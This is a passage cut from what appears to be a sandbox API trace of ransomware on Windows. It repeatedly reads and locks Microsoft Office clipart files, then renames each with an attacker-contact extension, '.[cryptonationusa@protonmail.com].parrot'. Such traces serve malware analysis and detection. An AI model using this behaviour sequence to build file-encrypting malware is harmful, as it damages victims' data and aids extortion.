lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.280] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.280] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x23f4, lpOverlapped=0x0) returned 1 [0142.281] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.281] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x250c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.281] CloseHandle (hObject=0x27c) returned 1 [0142.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0142.284] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2328, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.284] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.284] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.285] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.286] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2210, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2210, lpOverlapped=0x0) returned 1 [0142.295] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.295] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2328, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.295] CloseHandle (hObject=0x27c) returned 1 [0142.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0142.296] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0142.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0142.299] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.299] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.300] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.301] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x21a0, lpOverlapped=0x0) returned 1 [0142.301] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.302] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.302] CloseHandle (hObject=0x27c) returned 1 [0142.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.305] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x79b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.305] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.306] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.307] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7898, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7898, lpOverlapped=0x0) returned 1 [0142.309] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.310] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x79b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.310] CloseHandle (hObject=0x27c) returned 1 [0142.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.315] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9432, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.315] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.317] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x931a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x931a, lpOverlapped=0x0) returned 1 [0142.319] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.320] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9432, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.320] CloseHandle (hObject=0x27c) returned 1 [0142.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.323] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x81f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.323] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.323] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.324] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.324] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x80d8, lpOverlapped=0x0) returned 1 [0142.328] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.328] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x81f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.328] CloseHandle (hObject=0x27c) returned 1 [0142.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.331] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc7ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.331] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.331] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.333] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc6d2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc6d2, lpOverlapped=0x0) returned 1 [0142.336] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.337] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc7ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.337] CloseHandle (hObject=0x27c) returned 1 [0142.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.340] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xce28, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.340] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.340] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.342] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.342] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd10, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd10, lpOverlapped=0x0) returned 1 [0142.345] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.346] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xce28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.347] CloseHandle (hObject=0x27c) returned 1 [0142.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.399] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa924, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.399] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.399] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.400] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.400] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa80c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa80c, lpOverlapped=0x0) returned 1 [0142.404] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.405] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa924, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.405] CloseHandle (hObject=0x27c) returned 1 [0142.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.409] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd7d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.409] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.409] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.411] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.411] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd6bc, lpOverlapped=0x0) returned 1 [0142.414] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.415] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd7d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.415] CloseHandle (hObject=0x27c) returned 1 [0142.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.420] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8abc, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.420] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.420] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.421] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.422] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x89a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x89a4, lpOverlapped=0x0) returned 1 [0142.425] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.426] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8abc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.426] CloseHandle (hObject=0x27c) returned 1 [0142.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.429] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.429] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.429] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.431] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.431] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42d1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x42d1, lpOverlapped=0x0) returned 1 [0142.433] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.433] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.433] CloseHandle (hObject=0x27c) returned 1 [0142.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.436] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fa9, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.436] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.436] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.438] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.438] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e91, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3e91, lpOverlapped=0x0) returned 1 [0142.439] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.439] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fa9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.439] CloseHandle (hObject=0x27c) returned 1 [0142.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.442] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x44dd, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.442] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.444] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.444] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43c5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x43c5, lpOverlapped=0x0) returned 1 [0142.445] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.445] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x44dd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.445] CloseHandle (hObject=0x27c) returned 1 [0142.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.450] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8e9e, 